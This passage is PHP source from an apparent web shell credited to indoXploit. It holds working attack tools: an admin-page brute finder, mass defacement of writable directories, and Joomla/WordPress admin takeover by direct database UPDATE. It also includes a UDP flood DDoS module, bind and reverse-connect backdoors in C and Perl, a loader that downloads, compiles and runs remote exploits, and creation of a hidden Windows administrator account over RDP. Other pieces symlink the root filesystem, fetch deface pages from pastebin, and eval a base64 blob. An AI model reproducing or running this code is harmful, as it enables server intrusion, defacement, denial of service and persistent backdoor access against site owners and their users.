1290 'admin_area/admin.asp','admin_area/login.asp','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp',
1291 'bb-admin/admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','user.asp','webadmin/index.asp',
1292 'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp',
1293 'adminLogin.asp','admin/adminLogin.asp','home.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp',
1294 'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp',
1295 'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
1296 'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp');
1297 echo "<table class='w3-table w3-border'><thead class='w3-indigo'><th>Website</th><th>Status</th></thead>";
1298 foreach($trying as $sec)
1299 {
1300 $urll=$url.'/'.$sec;
1301
1302 if(urlExist($urll))
1303 {
1304 echo '<tr class="w3-green"><td><a href="'.$urll.'">'.$urll.'</a></td><td><i><b><u>FOUND</u></b></i></td></tr>';
1305 exit;
1306 }
1307 else
1308 {
1309 echo '<tr class="w3-grey"><td>'.$urll.'</td><td>NOT FOUND</td></tr>';
1310 }
1311 }
1312 echo '<tr class="w3-orange w3-center"><td colspan=2>Could not find admin page.[!]</td></tr>';
1313 }
1314 else
1315 {
1316 echo '<tr class="w3-indigo w3-centere"><td colspan=2>invalid url Enteindigo</td></tr>';
1317 }
1318 echo "</table>";
1319 }
1320}elseif ($_GET['a']=='md') {
1321 echo'<div class="w3-container w3-center">
1322 <h3 class="w3-center w3-indigo w3-text-shadow w3-text-white"> Mass deface </h3>
1323 <small> by indoXploit </small>';
1324 function sabun_massal($dir,$namafile,$isi_script) {
1325 if(is_writable($dir)) {
1326 $dira = scandir($dir);
1327 foreach($dira as $dirb) {
1328 $dirc = "$dir/$dirb";
1329 $lokasi = $dirc.'/'.$namafile;
1330 if($dirb === '.') {
1331 file_put_contents($lokasi, $isi_script);
1332 } elseif($dirb === '..') {
1333 file_put_contents($lokasi, $isi_script);
1334 } else {
1335 if(is_dir($dirc)) {
1336 if(is_writable($dirc)) {
1337 echo "[<font color=indigo>DONE</font>] $lokasi<br>";
1338 file_put_contents($lokasi, $isi_script);
1339 $idx = sabun_massal($dirc,$namafile,$isi_script);
1340 }
1341 }
1342 }
1343 }
1344 }
1345 }
1346 function sabun_biasa($dir,$namafile,$isi_script) {
1347 if(is_writable($dir)) {
1348 $dira = scandir($dir);
1349 foreach($dira as $dirb) {
1350 $dirc = "$dir/$dirb";
1351 $lokasi = $dirc.'/'.$namafile;
1352 if($dirb === '.') {
1353 file_put_contents($lokasi, $isi_script);
1354 } elseif($dirb === '..') {
1355 file_put_contents($lokasi, $isi_script);
1356 } else {
1357 if(is_dir($dirc)) {
1358 if(is_writable($dirc)) {
1359 echo "[<font color=indigo>DONE</font>] $dirb/$namafile<br>";
1360 file_put_contents($lokasi, $isi_script);
1361 }
1362 }
1363 }
1364 }
1365 }
1366 }
1367 if($_POST['start']) {
1368 if($_POST['tipe_sabun'] == 'mahal') {
1369 echo "<div style='margin: 5px auto; padding: 5px'>";
1370 sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
1371 echo "</div>";
1372 } elseif($_POST['tipe_sabun'] == 'murah') {
1373 echo "<div style='margin: 5px auto; padding: 5px'>";
1374 sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
1375 echo "</div>";
1376 }
1377 } else {
1378 echo "<center>";
1379 echo "<form method='post'>
1380 <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
1381 <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
1382 <font style='text-decoration: underline;'>Folder:</font><br>
1383 <input type='text' name='d_dir' value='$_GET[i]' style='width: 450px;' height='10' class='w3-input w3-animate-input'><br>
1384 <font style='text-decoration: underline;'>Filename:</font><br>
1385 <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10' class='w3-input w3-animate-input'><br>
1386 <font style='text-decoration: underline;'>Index File:</font><br>
1387 <textarea name='script' style='width:700px; height:400px;' class='w3-indigo w3-code'>JOYFULL KAWAII TRY TO BE THE BEST ;)</textarea><br>
1388 <input type='submit' name='start' value='Mass Deface' style='width: 450px;' class='w3-btn w3-indigo'>
1389 </form></center>";
1390 }
1391}elseif ($_GET['a']=='jrp') {
1392 echo "
1393<div class='w3-container w3-center'>
1394<h3 class='w3-indigo w3-text-white w3-text-shadow w3-center'> joomla reset password </h3><br>";
1395 if(empty($_POST['pwd'])){
1396echo "<FORM method='POST'><table class='w3-table w3-striped' > <tr class='w3-indigo w3-text-shadow'><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
1397<input type='text' name='localhost' value='localhost' class='w3-input' /></td></tr> <tr><td> Database</td><td>
1398<input type='text' name='database' value='database' class='w3-input'/></td></tr> <tr><td> username</td><td>
1399<input type='text' name='username' value='db_user' class='w3-input'/></td></tr> <tr><td> password</td><td>
1400<input type='password' name='password' value='' class='w3-input'/></td></tr>
1401<tr><td> new user</td><td>
1402<input name='admin' value='admin' class='w3-input'/></td></tr>
1403 <tr><td> new password(12345) </td><td>
1404<input class='w3-input ' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' disabled></td></tr><tr><td colspan='2'>
1405
1406<input type='submit' value='change!' name='send' class='w3-btn w3-indigo w3-btn-block' /></FORM>
1407</td></tr> </table><br><br><br><br>
1408";
1409}else{
1410$localhost = $_POST['localhost'];
1411$database = $_POST['database'];
1412$username = $_POST['username'];
1413$password = $_POST['password'];
1414$pwd = $_POST['pwd'];
1415$admin = $_POST['admin'];
1416@mysql_connect($localhost,$username,$password) or die(mysql_error());
1417@mysql_select_db($database) or die(mysql_error());
1418$hash = crypt($pwd);
1419$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
1420$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
1421$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
1422$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
1423$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
1424$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
1425$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
1426$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
1427if($SQL){
1428echo "<b>Succesfully! password : 12345";
1429}
1430}
1431}elseif ($_GET['a']=='wprp') {
1432 echo "
1433<div class='w3-container w3-center'>
1434<h3 class='w3-indigo w3-text-shadow w3-text-white'> wordpress reset password </h3><br>";
1435
1436 if(empty($_POST['pwd'])){
1437
1438echo "<FORM method='POST'>
1439<table class='w3-table w3-striped'> <tr><th colspan='2' class='w3-indigo w3-text-shadow'>Connect to mySQL server</th></tr> <tr><td> Hostname</td><td>
1440<input class='w3-input' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
1441<input class='w3-input' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
1442<input class='w3-input' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
1443<input class='w3-input' type='text' name='password' value='**' /></td></tr>
1444<tr><td> User baru</td><td>
1445<input class='w3-input' class='inputz' type='text' name='admin' value='admin' /></td></tr>
1446 <tr><td> Pass Baru</td><td>
1447<input class='w3-input' type='text' name='pwd' value='123456' /></td></tr><tr><td colspan='2'>
1448
1449<input type='submit' value='change!' name='send' class='w3-btn w3-btn-block w3-indigo' /></FORM>
1450</td></tr> </table><br><br><br><br>
1451";
1452}else{
1453$localhost = $_POST['localhost'];
1454$database = $_POST['database'];
1455$username = $_POST['username'];
1456$password = $_POST['password'];
1457$pwd = $_POST['pwd'];
1458$admin = $_POST['admin'];
1459
1460
1461 @mysql_connect($localhost,$username,$password) or die(mysql_error());
1462 @mysql_select_db($database) or die(mysql_error());
1463
1464$hash = crypt($pwd);
1465$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
1466$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
1467$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
1468$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
1469$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
1470$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
1471$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
1472
1473
1474if($a4s){
1475echo "<b> Successfully! password changed!</b> ";
1476}
1477
1478}
1479}elseif ($_GET['a']=='ddos') {
1480echo"<div class='w3-container w3-center'><h3 class='w3-indigo w3-text-shadow w3-text-white'>DDoS Tools</h3><br><br>";
1481echo'<table class="w3-table w3-striped"><tr><tr><td>IP Target</td><td>:</td><td><input type="text" class="w3-input" name="ip" size="48" maxlength="25" value = "0.0.0.0" onblur = "if ( this.value==\'\' ) this.value = \'0.0.0.0\';" onfocus = " if ( this.value == \'0.0.0.0\' ) this.value = \'\';"/></td></tr><tr><td>Time</td><td>:</td><td><input type="text" class="w3-input" name="time" size="48" maxlength="25" value = "time (in seconds)" onblur = "if ( this.value==\'\' ) this.value = \'time (in seconds)\';" onfocus = " if ( this.value == \'time (in seconds)\' ) this.value = \'\';"/>
1482</td></tr><tr><td>Port</td><td>:</td><td><input type="text" class="w3-input" name="port" size="48" maxlength="5" value = "port" onblur = "if ( this.value==\'\' ) this.value = \'port\';" onfocus = " if ( this.value == \'port\' ) this.value = \'\';"/></td></tr></tr></table></b><br><input type="submit" class="w3-btn w3-indigo" name="fire" value=" Firee !!! "></form></div>';
1483$submit = $_POST['fire'];
1484if (isset($submit)) {
1485$packets = 0;
1486$ip = $_POST['ip'];
1487$rand = $_POST['port'];
1488set_time_limit(0);
1489ignore_user_abort(FALSE);
1490$exec_time = $_POST['time'];
1491$time = time();
1492print "Flooded: $ip on port $rand <br><br>";
1493$max_time = $time+$exec_time;
1494for($i=0;$i<65535;$i++){
1495 $out .= "X";
1496}
1497while(1){
1498$packets++;
1499 if(time() > $max_time){
1500 break;
1501 }
1502 $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
1503 if($fp){
1504 fwrite($fp, $out);
1505 fclose($fp);
1506 }
1507}
1508echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
1509}
1510}elseif ($_GET['a']=='net') {
1511if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
1512 $port = trim($_POST['port']);
1513 $passwrd = trim($_POST['bind_pass']);
1514 tulis("bdc.c",$port_bind_bd_c);
1515 exe("gcc -o bdc bdc.c");
1516 exe("chmod 777 bdc");
1517 @unlink("bdc.c");
1518 exe("./bdc ".$port." ".$passwrd." &");
1519 $scan = exe("ps aux");
1520 if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
1521 else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
1522}
1523// bind connect with perl
1524elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
1525 $port = trim($_POST['port']);
1526 $passwrd = trim($_POST['bind_pass']);
1527 tulis("bdp",$port_bind_bd_pl);
1528 exe("chmod 777 bdp");
1529 $p2=which("perl");
1530 exe($p2." bdp ".$port." &");
1531 $scan = exe("ps aux");
1532 if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
1533 else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
1534}
1535// back connect with c
1536elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
1537 $ip = trim($_POST['ip']);
1538 $port = trim($_POST['backport']);
1539 tulis("bcc.c",$back_connect_c);
1540 exe("gcc -o bcc bcc.c");
1541 exe("chmod 777 bcc");
1542 @unlink("bcc.c");
1543 exe("./bcc ".$ip." ".$port." &");
1544 $msg = "Now script try connect to ".$ip." port ".$port." ...";
1545}
1546// back connect with perl
1547elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
1548 $ip = trim($_POST['ip']);
1549 $port = trim($_POST['backport']);
1550 tulis("bcp",$back_connect);
1551 exe("chmod +x bcp");
1552 $p2=which("perl");
1553 exe($p2." bcp ".$ip." ".$port." &");
1554 $msg = "Now script try connect to ".$ip." port ".$port." ...";
1555}
1556elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
1557{
1558 $pilihan = trim($_POST['pilihan']);
1559 $wurl = trim($_POST['wurl']);
1560 $namafile = download($pilihan,$wurl);
1561 if(is_file($namafile)) {
1562
1563 $msg = exe($wcmd);
1564 }
1565 else $msg = "error: file not found $namafile";
1566}
1567echo'<div class="w3-container w3-center"><h3 class="w3-indigo w3-text-white w3-text-shadow">NetSploit</h3><table class="w3-table w3-striped w3-center"><tr class="w3-indigo w3-center"><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr><tr><td>';
1568echo'<table class="w3-table w3-striped"><form method="post" ><tr><td>Port</td><td><input class="w3-input" type="text" name="port" size="26" value="'.$bindport.'"></td></tr><tr><td>Password</td><td><input class="w3-input" type="text" name="bind_pass" size="26" value="'.$bindport_pass.'"></td></tr><tr><td>Use</td><td style="text-align:justify"><p><select class="w3-input" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
1569<input class="w3-btn w3-indigo" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form></table>';
1570echo'</td><td>';
1571echo'<table class="w3-table w3-striped"><form method="post"><tr><td>IP</td><td><input class="w3-input" type="text" name="ip" size="26" value="'.((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")).'"></td></tr><tr><td>Port</td><td><input class="w3-input" type="text" name="backport" size="26" value="'.$bindport.'"></td></tr><tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="w3-input" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input type="submit" name="backconn" value="Connect" class="w3-btn w3-indigo" style="width:120px"></td></tr></form></table>';
1572echo'</td><td>';
1573echo'<table class="w3-table w3-striped"><form method="post" ><tr><td>url</td><td><input class="w3-input" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr><tr><td>cmd</td><td><input class="w3-input" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td></tr><tr><td><select size="1" class="w3-input" name="pilihan"><option value="wwget">wget</option><option value="wlynx">lynx</option><option value="wfread">fread</option><option value="wfetch">fetch</option><option value="wlinks">links</option><option value="wget">GET</option><option value="wcurl">curl</option></select></td><td colspan="2"><input type="submit" name="expcompile" value="Go" style="width:246px;" class="w3-btn w3-indigo"></td></tr></form></table>';
1574echo'</td></tr></table><div style="text-align:center;margin:2px;">'.$msg.'</div></div>';
1575}elseif ($_GET['a']=='zh') {
1576echo'<div class="w3-container w3-center"><h3 class="w3-indigo w3-text-shadow w3-text-shadow"> Zone-H Mass Notifer </h3>';
1577echo'<form method="post"><center><input type="text" name="depecer" style="width:500px" placeholder="defacer" class="w3-input"><br><textarea name="url" placeholder="http://korban.com" style="width:500px;height:300px;" class="w3-indigo w3-code"></textarea><br><input type="submit" name="go" value="submit" class="w3-btn w3-indigo"></form>';
1578$url = explode("\r\n", $_POST['url']);
1579$go = $_POST['go'];
1580function kirim($target,$hacker) {
1581 $ch = curl_init();
1582 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
1583 curl_setopt($ch, CURLOPT_URL, "http://zone-h.org/notify/single");
1584 curl_setopt($ch, CURLOPT_POST, true);
1585 curl_setopt($ch, CURLOPT_POSTFIELDS, array(
1586 "defacer" => $hacker,
1587 "domain1" => $target,
1588 "hackmode" => "1",
1589 "reason" => "1",
1590 ));
1591 $res = curl_exec($ch);
1592 curl_close($ch);
1593 return preg_match("/<font color=\"indigo\">OK<\/font><\/li>/", $res);
1594}
1595if($go) {
1596 foreach($url as $sites) {
1597 if(kirim($sites,$_POST['depecer'])) {
1598 echo "<br>[ OK ] => $sites <br>";
1599 } else {
1600 echo "<br>[ ERROR ] => $sites <br>";
1601 }
1602 }
1603}
1604
1605}elseif ($_GET['a']=='em') {
1606$e=function_exists('mail');
1607 if($e){
1608 echo "<div class='w3-container w3-center'><h3 class='w3-indigo w3-text-shadow w3-text-white'> Email </h3><br>";
1609 echo"<form method='post' ><table class='w3-table w3-striped'><tr><td>from :</td><td><input type='text' name='from' value='shutdown57@indonesia.go.id' class='w3-input' ></td></tr><tr><td>For:</td><td><input type='text' name='for' value='admin@".$_SERVER['HTTP_HOST']."' class='w3-input'></td></tr><tr><td>Subject:</td><td><input type='text' name='subject' value='patch ur site!' class='w3-input' ></td></tr><tr><td>COntent:</td><td><textarea name='cont' style='width:100%;height:300px' class='w3-indigo w3-code'>please..patch ur face! ur face is bad :p </textarea></td></tr><tr><td colspan='2'><input type='submit' name='sent' value='send!!' class='w3-btn w3-indigo w3-btn-block' ></td></tr></table></form>";
1610}else{
1611 echo" mail() function does not exists in this website!";
1612}
1613if(isset($_POST['sent'])){
1614 if(mail($_POST['for'],$_POST['subject'],$_POST['cont'],$_POST['from'])){
1615 echo "send!!".$_POST['for'];
1616 }else{
1617 echo"failed !!!";
1618 }
1619}
1620}elseif ($_GET['a']=='sym') {
1621 system('ln -s / achan.txt');
1622$hta ="Options Indexes FollowSymLinks\nDirectoryIndex ssssss.htm\nAddType txt .php\nAddHandler txt .php";
1623$file = fopen(".htaccess","w+");
1624$write = fwrite ($file ,$hta);
1625$sym = symlink("/","achan.txt");
1626$rt="<br><a href='achan.txt' TARGET='_blank'><font color=#ff0000 size=2 face='Courier New'><b>
1627touch me senpai..</b></font></a></center>";
1628echo "<center><br><br><b>Done.. !</b><br>".$rt;
1629}elseif ($_GET['a']=='rdp') {
1630 if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
1631echo "<div class='w3-container w3-center'><h3 class='w3-indigo w3-center w3-text-shadow w3-text-white'>Remote Desktop Protocol Tools</h3>";
1632 if($_POST['create']) {
1633 $user = htmlspecialchars($_POST['user']);
1634 $pass = htmlspecialchars($_POST['pass']);
1635 if(preg_match("/$user/", exe("net user"))) {
1636 echo "[INFO] -> <font color=indigo>user <font color=indigo>$user</font> already exists</font>";
1637 } else {
1638 $add_user = exe("net user $user $pass /add");
1639 $add_groups1 = exe("net localgroup Administrators $user /add");
1640 $add_groups2 = exe("net localgroup Administrator $user /add");
1641 $add_groups3 = exe("net localgroup Administrateur $user /add");
1642 echo "[ RDP ACCOUNT INFO ]<br>
1643 ------------------------------<br>
1644 IP: <font color=indigo>".gethostbyname($_SERVER['HTTP_HOST'])."</font><br>
1645 Username: <font color=indigo>$user</font><br>
1646 Password: <font color=indigo>$pass</font><br>
1647 ------------------------------<br><br>
1648 [ STATUS ]<br>
1649 ------------------------------<br>
1650 ";
1651 if($add_user) {
1652 echo "[add user] -> <font color='indigo'>Successfully :D</font><br>";
1653 } else {
1654 echo "[add user] -> <font color='indigo'>Failed !</font><br>";
1655 }
1656 if($add_groups1) {
1657 echo "[add localgroup Administrators] -> <font color='indigo'>Successfully :D</font><br>";
1658 } elseif($add_groups2) {
1659 echo "[add localgroup Administrator] -> <font color='indigo'>Successfully :D</font><br>";
1660 } elseif($add_groups3) {
1661 echo "[add localgroup Administrateur] -> <font color='indigo'>Successfully :D</font><br>";
1662 } else {
1663 echo "[add localgroup] -> <font color='indigo'>Failed !</font><br>";
1664 }
1665 echo "------------------------------<br>";
1666 }
1667 } elseif($_POST['s_opsi']) {
1668 $user = htmlspecialchars($_POST['r_user']);
1669 if($_POST['opsi'] == '1') {
1670 $cek = exe("net user $user");
1671 echo "Checking username <font color=indigo>$user</font> ....... ";
1672 if(preg_match("/$user/", $cek)) {
1673 echo "[ <font color=indigo>already Exists</font> ]<br>
1674 ------------------------------<br><br>
1675 <pre>$cek</pre>";
1676 } else {
1677 echo "[ <font color=indigo>Not Exists</font> ]";
1678 }
1679 } elseif($_POST['opsi'] == '2') {
1680 $cek = exe("net user $user achan");
1681 if(preg_match("/$user/", exe("net user"))) {
1682 echo "[change password: <font color=indigo>achan</font>] -> ";
1683 if($cek) {
1684 echo "<font color=indigo>Successfully :D</font>";
1685 } else {
1686 echo "<font color=indigo>Successfully :D</font>";
1687 }
1688 } else {
1689 echo "[INFO] -> <font color=indigo>user <font color=indigo>$user</font> Not Exists</font>";
1690 }
1691 } elseif($_POST['opsi'] == '3') {
1692 $cek = exe("net user $user /DELETE");
1693 if(preg_match("/$user/", exe("net user"))) {
1694 echo "[remove user: <font color=indigo>$user</font>] -> ";
1695 if($cek) {
1696 echo "<font color=indigo>Successfully :D</font>";
1697 } else {
1698 echo "<font color=indigo>Failed :p</font>";
1699 }
1700 } else {
1701 echo "[INFO] -> <font color=indigo>user <font color=indigo>$user</font> not exists</font>";
1702 }
1703 } else {
1704 //
1705 }
1706 } else {
1707 echo "-- Create RDP --<br>
1708 <form method='post'>
1709 <table class='w3-table w3-striped'><tr><td>Username:</td><td>
1710 <input type='text' name='user' placeholder='username' value='achan' class='w3-input' requiindigo></td></tr><tr><td>Password:</td><td>
1711 <input type='text' name='pass' placeholder='password' value='achan' class='w3-input' requiindigo></td></tr><tr><td colspan='2'>
1712 <input type='submit' name='create' value='Go!' class='w3-btn w3-btn-block w3-indigo'></td></tr></table>
1713 </form>
1714 -- Option --<br>
1715 <form method='post'>
1716 <table class='w3-table w3-striped'><tr><td>Username:</td><td>
1717 <input type='text' name='r_user' placeholder='username' class='w3-input' requiindigo></td></tr><tr><td>Options:</td><td>
1718 <select name='opsi' class='w3-input'>
1719 <option value='1'>Check Username</option>
1720 <option value='2'>Change Password</option>
1721 <option value='3'>Delete Username</option>
1722 </select></td></tr><tr><td colspan='2'>
1723 <input type='submit' name='s_opsi' value='Go!' class='w3-btn w3-btn-block w3-indigo'></td></tr></table>
1724 </form>
1725 ";
1726 }
1727 }else{
1728 echo "<div class='w3-indigo w3-panel'><h3>This Tools Just Support in Windows Server.</h3></div>";
1729 }
1730
1731}elseif ($_GET['a']=='wos') {
1732 echo "
1733 <div class='w3-container w3-center'>
1734 <h3 class='w3-indigo w3-text-white w3-text-shadow w3-center'>WithOutShadow Priv8 Script Deface</h3>
1735 <form method='post'>filename : <input type='text' name='wos' value='".$_GET['i']."/wos.html' class='w3-input'><input type='submit' value='deface!' class='w3-btn w3-indigo'></form>";
1736 if(isset($_POST['wos'])){
1737 $fp=fopen($_POST['wos'],"w");
1738 $isi=file_get_contents('http://pastebin.com/raw/0Fm2SLTp');
1739 if(fwrite($fp,$isi)){
1740 echo "<script>
1741 alert('defaced!');
1742 </script>";
1743 }
1744 fclose($fp);
1745 }
1746}elseif ($_GET['a']=='ps') {
1747 echo "
1748 <div class='w3-container w3-center'>
1749 <h3 class='w3-indigo w3-text-white w3-text-shadow w3-center'>PeSeC Priv8 Script Deface</h3>
1750 <form method='post'>filename : <input type='text' name='ps' value='".$_GET['i']."/PeSeC.html' class='w3-input'><input type='submit' value='deface!' class='w3-btn w3-indigo'></form>";
1751 if(isset($_POST['ps'])){
1752 $fp=fopen($_POST['ps'],"w");
1753 $isi=file_get_contents('http://pastebin.com/raw/SDHE0W4T');
1754 if(fwrite($fp,$isi)){
1755 echo "<script>
1756 alert('defaced!');
1757 </script>";
1758 }
1759 fclose($fp);
1760 }
1761}elseif ($_GET['a']=='fr') {
1762 ob_start();
1763 function reverse($url) {
1764 $ch = curl_init("http://domains.yougetsignal.com/domains.php");
1765 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
1766 curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
1767 curl_setopt($ch, CURLOPT_HEADER, 0);
1768 curl_setopt($ch, CURLOPT_POST, 1);
1769 $resp = curl_exec($ch);
1770 $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
1771 $array = explode(",,", $resp);
1772 unset($array[0]);
1773 foreach($array as $lnk) {
1774 $lnk = "http://$lnk";
1775 $lnk = str_replace(",", "", $lnk);
1776 echo $lnk."\n";
1777 ob_flush();
1778 flush();
1779 }
1780 curl_close($ch);
1781 }
1782 function cek($url) {
1783 $ch = curl_init($url);
1784 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
1785 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
1786 $resp = curl_exec($ch);
1787 return $resp;
1788 }
1789 $cwd = getcwd();
1790 $ambil_user = explode("/", $cwd);
1791 $user = $ambil_user[2];
1792 if($_POST['reverse']) {
1793 $site = explode("\r\n", $_POST['url']);
1794 $file = $_POST['file'];
1795 foreach($site as $url) {
1796 $cek = cek("$url/~$user/$file");
1797 if(preg_match("/hacked/", $cek)) {
1798 echo "<center> URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=indigo>Fake Root!</font><br>";
1799 }
1800 }
1801 } else {
1802 echo "<div class='w3-container w3-center'>
1803 <h3 class='w3-indigo w3-text-shadow w3-text-white'>Fake Root</h3>
1804 <small>By : indoXploit </small>
1805 <form method='post'>
1806 Filename: <br><input type='text' name='file' value='deface.html' class='w3-input'><br>
1807 User: <br><input type='text' value='$user' class='w3-input' readonly><br>
1808 Domain: <br>
1809 <textarea style='width:70%;height:400px;' name='url' class='w3-indigo w3-code'>";
1810 reverse($_SERVER['HTTP_HOST']);
1811 echo "</textarea><br>
1812 <input type='submit' name='reverse' value='Scan Fake Root!' class='w3-btn w3-indigo '>
1813 </form>
1814 </div>";
1815 }
1816}elseif ($_GET['a']=='themes') {
1817 $i=$_GET['i'];
1818 $c=$_GET['col'];
1819 if(empty($c)){
1820 // ini bukan log atau semacamnya kok, ini cuma html doang -_-" kalo gk percaya decode aja.
1821 // alesan di encode biar waktu ganti tema ini gak ikut ke ganti.
1822 @eval(base64_decode("ZWNobyAiPGRpdiBjbGFzcz0ndzMtY29udGFpbmVyIHczLWNlbnRlcic+DQoJCTxoMyBjbGFzcz0ndzMtcmVkIHczLXRleHQtc2hhZG93IHczLXRleHQtd2hpdGUnPkdsb2JhbCBDb2xvcjwvaDM+IjsNCgllY2hvJyA8ZGl2IGNsYXNzPSJ3My1kcm9wZG93bi1ob3ZlciI+DQogIDxhIGNsYXNzPSJ3My1yZWQgdzMtYnRuIiBzdHlsZT0id2lkdGg6MzAwcHg7Ij5TRUxFQ1QgVEhFTUVTPC9hPg0KICA8ZGl2IGNsYXNzPSJ3My1kcm9wZG93bi1jb250ZW50IHczLWJvcmRlciIgc3R5bGU9IndpZHRoOjMwMHB4OyI+DQogICAgPGEgaHJlZj0iP2E9dGhlbWVzJmk9Jy4kaS4nJmNvbD1yZWQiICBjbGFzcz0idzMtcmVkIj5SRUQ8L2E+DQogICAgPGEgaHJlZj0iP2E9dGhlbWVzJmk9Jy4kaS4nJmNvbD1waW5rIiAgY2xhc3M9InczLXBpbmsiPlBJTks8L2E+DQogICAgPGEgaHJlZj0iP2E9dGhlbWVzJmk9Jy4kaS4nJmNvbD1vcmFuZ2UiIGNsYXNzPSJ3My1vcmFuZ2UiPk9SQU5HRTwvYT4NCiAgICAgPGEgaHJlZj0iP2E9dGhlbWVzJmk9Jy4kaS4nJmNvbD15ZWxsb3ciICBjbGFzcz0idzMteWVsbG93Ij5ZRUxMT1c8L2E+DQogICAgPGEgaHJlZj0iP2E9dGhlbWVzJmk9Jy4kaS4nJmNvbD1ncmVlbiIgIGNsYXNzPSJ3My1ncmVlbiI+R1JFRU48L2E+DQogICAgPGEgaHJlZj0iP2E9dGhlbWVzJmk9Jy4kaS4nJmNvbD10ZWFsIiBjbGFzcz0idzMtdGVhbCI+VEVBTDwvYT4NCiAgICAgICAgPGEgaHJlZj0iP2E9dGhlbWVzJmk9Jy4kaS4nJmNvbD1jeWFuIiAgY2xhc3M9InczLWN5YW4iPkNZQU48L2E+DQogICAgPGEgaHJlZj0iP2E9dGhlbWVzJmk9Jy4kaS4nJmNvbD1saW1lIiAgY2xhc3M9InczLWxpbWUiPkxJTUU8L2E+DQogICAgPGEgaHJlZj0iP2E9dGhlbWVzJmk9Jy4kaS4nJmNvbD1ibHVlIiBjbGFzcz0idzMtYmx1ZSI+QkxVRTwvYT4NCiAgICAgPGEgaHJlZj0iP2E9dGhlbWVzJmk9Jy4kaS4nJmNvbD1pbmRpZ28iICBjbGFzcz0idzMtaW5kaWdvIj5JTkRJR088L2E+DQogICAgPGEgaHJlZj0iP2E9dGhlbWVzJmk9Jy4kaS4nJmNvbD1wdXJwbGUiI